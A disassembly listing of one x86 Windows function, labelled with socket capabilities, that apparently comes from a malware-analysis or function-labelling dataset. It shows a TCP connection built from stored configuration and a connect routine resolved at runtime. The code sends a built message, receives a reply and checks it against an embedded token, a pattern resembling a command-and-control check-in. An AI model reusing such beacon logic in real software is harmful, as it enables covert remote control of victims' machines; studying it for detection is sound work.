Function at 0x4190fb
Capabilities:
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
mov eax, 0x43f7f0
call fcn.0042eda4
sub esp, 0x4c
mov eax, dword [0x456d70]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esp
call fcn.0040b30c
test al, al
je 0x4191e8
cmp dword [0x45d804], 1
je 0x4191e8
and dword [ebp - 4], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x45cfa8], eax
je 0x4191e1
cmp dword [0x45d9c4], 0x10
mov eax, dword [0x45d9b0]
mov word [0x45ce00], 2
jae 0x41916a
mov eax, 0x45d9b0
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp dword [0x45d9a8], 0x10
mov dword [0x45ce04], eax
mov eax, dword [0x45d994]
jae 0x419189
mov eax, 0x45d994
push eax
call fcn.0042f5ef
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x1f4
mov word [0x45ce02], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x45a1f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
mov dword [ebp - 0x38], esi
je 0x4191d6
push 0x4433f8
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [ebp - 0x34], eax
jne 0x4191ff
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x45cfa8
call fcn.00405fb0
pop ecx
and dword [0x45d804], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042d7f1
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
push 0x459998
mov ebx, 0x80
push ebx
mov edi, 0xffff
push edi
push dword [0x45cfa8]
call esi
push 0x10
push 0x45ce00
push dword [0x45cfa8]
call dword [ebp - 0x34]
add esp, 0xc
cmp eax, 0xffffffff
je 0x4191d6
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push 0x459998
push ebx
push edi
push dword [0x45cfa8]
call esi
xor esi, esi
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x18], 0xf
call fcn.00406f49
push dword [0x44e0b4]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
call fcn.0040d325
mov edi, 0x444988
push edi
lea ecx, [ebp - 0x30]
call fcn.0040ce51
or ebx, 0xffffffff
push ebx
push esi
push 0x456078
lea ecx, [ebp - 0x30]
call fcn.0040ba68
push edi
lea ecx, [ebp - 0x30]
call fcn.0040ce51
call fcn.00413cbc
push eax
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push edi
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push 0x457c68
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push 0x443660
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push 0x458f04
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push edi
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push 0x45999c
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push edi
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push ebx
push esi
push 0x4560e8
lea ecx, [ebp - 0x30]
call fcn.0040ba68
push edi
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push 0x45c9f0
lea ecx, [ebp - 0x30]
call fcn.0040ce51
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41932f
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00411da5
pop ecx
pop ecx
push ebx
push esi
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 2
call fcn.0040c660
xor edi, edi
push esi
inc edi
push edi
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.00409968
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x419367
lea eax, [ebp - 0x2c]
push esi
push dword [ebp - 0x1c]
push eax
push dword [0x45cfa8]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, ebx
push esi
je 0x41940b
push esi
push 0x405fc2
mov dword [0x45d858], edi
call fcn.0042e846
add esp, 0xc
push esi
push 0x20
mov ebx, 0x4599cc
push ebx
push dword [0x45cfa8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4193fb
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x34], esp
push str.gKg5XIBmK8EiKj9mbuV2Y092aqEiP
call fcn.0040d800
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x3c], esp
push ebx
mov byte [ebp - 4], 3
call fcn.0040d800
mov byte [ebp - 4], 1
call fcn.0040b59e
add esp, 0x3c
cmp eax, esi
jbe 0x4193fb
push dword [0x45cfa8]
mov dword [0x45d858], esi
mov dword [0x45d804], edi
call fcn.00415a8a
pop ecx
push dword [ebp - 0x38]
mov dword [0x45d858], esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
push edi
lea ecx, [ebp - 0x30]
call fcn.00409968
jmp 0x4191d6